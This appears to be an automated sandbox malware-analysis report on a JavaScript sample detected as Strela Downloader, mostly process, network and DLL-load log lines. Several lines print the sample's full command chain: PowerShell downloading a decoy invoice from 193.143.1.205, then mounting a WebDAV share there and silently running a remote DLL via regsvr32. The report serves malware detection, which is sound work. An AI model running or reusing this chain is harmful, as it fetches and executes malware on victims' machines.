HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1476305558.000001EAF5D1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1531835624.0000018CEA0D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1531835624.0000018CEA0FE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1531835624.0000018CEA12E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1531835624.0000018CEA108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1531835624.0000018CEA108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/C
Source: net.exe, 00000007.00000002.1531835624.0000018CEA108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/S
Source: net.exe, 00000007.00000002.1531835624.0000018CEA0D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sg5
Source: net.exe, 00000007.00000002.1531835624.0000018CEA108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/w
Source: svchost.exe, 00000009.00000002.2757444754.0000019919A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1532724829.0000019919950000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6832, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 434027412290322097.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4352

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5860:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lznlykak.3ii.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\434027412290322097.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1640,i,13621369511104227895,15856102786190916547,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115074565464.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1640,i,13621369511104227895,15856102786190916547,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
